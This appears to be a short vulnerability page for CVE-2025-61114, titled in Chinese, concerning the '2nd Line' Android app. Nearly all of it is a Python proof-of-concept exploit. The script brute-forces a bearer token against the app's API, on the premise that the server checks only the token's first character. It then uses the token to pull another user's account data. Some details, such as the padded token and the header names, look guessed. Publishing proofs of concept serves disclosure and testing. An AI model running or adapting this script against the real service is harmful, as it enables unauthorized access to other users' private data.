CVE-2025-61114: 2nd Line Android App身份验证机制不当访问控制漏洞

import requests import string import time # CVE-2025-61114 PoC - 2nd Line Android App Token Brute Force # Target: 2nd Line Android App Authentication Bypass TARGET_URL = "https://api.2ndlineapp.com/v1/user/query" TARGET_USER_ID = "victim_user_id" def brute_force_token(): """ Due to improper access control, server only validates first character of user_token. This PoC demonstrates brute force attack on the token. """ characters = string.ascii_lowercase + string.digits + string.ascii_uppercase valid_token = None print("[*] Starting token brute force attack...") print("[*] Note: Server only validates first character of token") # Since only first character is validated, try common first characters for first_char in characters[:20]: # Limit for demonstration # Generate token with current first character token = first_char + "X" * 31 # Assuming 32 char token headers = { "Authorization": f"Bearer {token}", "X-User-ID": TARGET_USER_ID, "Content-Type": "application/json" } try: response = requests.get(TARGET_URL, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Valid token found: {token}") print(f"[+] Response: {response.text}") valid_token = token break elif response.status_code == 401: print(f"[-] Invalid token attempt: {token}") except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") time.sleep(0.1) # Rate limiting return valid_token def exploit_unauthorized_access(token): """ After obtaining valid token, perform unauthorized queries on other user accounts. """ if not token: print("[-] No valid token available") return print("[*] Exploiting unauthorized access...") # Query other user's data headers = { "Authorization": f"Bearer {token}", "X-Target-User": "other_user_id" } response = requests.get(f"{TARGET_URL}/data", headers=headers) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Data: {response.text}") if __name__ == "__main__": print("CVE-2025-61114 PoC - 2nd Line App Improper Access Control") token = brute_force_token() if token: exploit_unauthorized_access(token)